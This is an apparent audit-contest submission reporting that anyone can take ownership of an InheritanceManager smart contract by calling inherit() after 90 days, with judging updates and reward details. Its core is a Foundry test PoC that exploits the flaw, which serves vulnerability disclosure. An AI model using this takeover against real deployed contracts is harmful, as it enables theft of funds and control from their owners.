Submission Details
Severity:
Anyone can become the new owner within ` InheritanceManager `
Description + Impact
The owner of the InheritanceManager configures the smart contract to have only 1 beneficiary .
The owner dies and the 90 days period passes .
Any random user that has nothing to do with InheritanceManager can takeover the smart contract if he is the first to execute InheritanceManager :: inherit() .
He will become the next owner and will have full control of InheritanceManager .
PoC
How to execute the PoC ?
-
Create a
Foundryproject with everything needed -
Add the PoC in
test/TEST.t.sol -
Execute the PoC using the command
forge test --match-test test________ -vv
// SPDX-License-Identifier: MIT
import {Test} from "lib/forge-std/src/Test.sol";
import {console} from "lib/forge-std/src/console.sol";
import {InheritanceManager} from "src/InheritanceManager.sol";
contract InheritanceManagerTest is Test {
InheritanceManager public inheritanceManager;
address public owner;
address public beneficiary;
address public randomUser;
mapping(address => string) private name;
function getName( address addr ) private view returns ( string memory ) {
return name[addr];
}
function test________() public {
owner = makeAddr("owner");
beneficiary = makeAddr("beneficiary");
randomUser = makeAddr("randomUser");
name[ owner ] = "owner";
name[ beneficiary ] = "beneficiary";
name[ randomUser ] = "randomUser";
vm.prank(owner);
inheritanceManager = new InheritanceManager();
vm.prank(owner);
inheritanceManager.addBeneficiery(beneficiary);
vm.warp(block.timestamp + 90 days);
READ____InheritanceManager____owner();
vm.prank(randomUser);
inheritanceManager.inherit();
READ____InheritanceManager____owner();
}
function READ____InheritanceManager____owner() private view {
console.log( "" );
console.log( string( abi.encodePacked(
"========== " , " InheritanceManager :: owner " , " =========="
) ) );
console.log( "" );
console.log( "" );
console.log(
getName( inheritanceManager.getOwner() )
);
console.log( "" );
console.log( "" );
console.log( "======================================================================================" );
console.log( "" );
}
}
Updates
Lead Judging Commences
0xtimefliez 8 months ago
Submission Judgement Published Assigned finding tags:
Inherit depends on msg.sender so anyone can claim the contract
0xtimefliez 8 months ago
Submission Judgement Published Assigned finding tags:
Inherit depends on msg.sender so anyone can claim the contract
Rewards breakdown
nSLOC
211This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.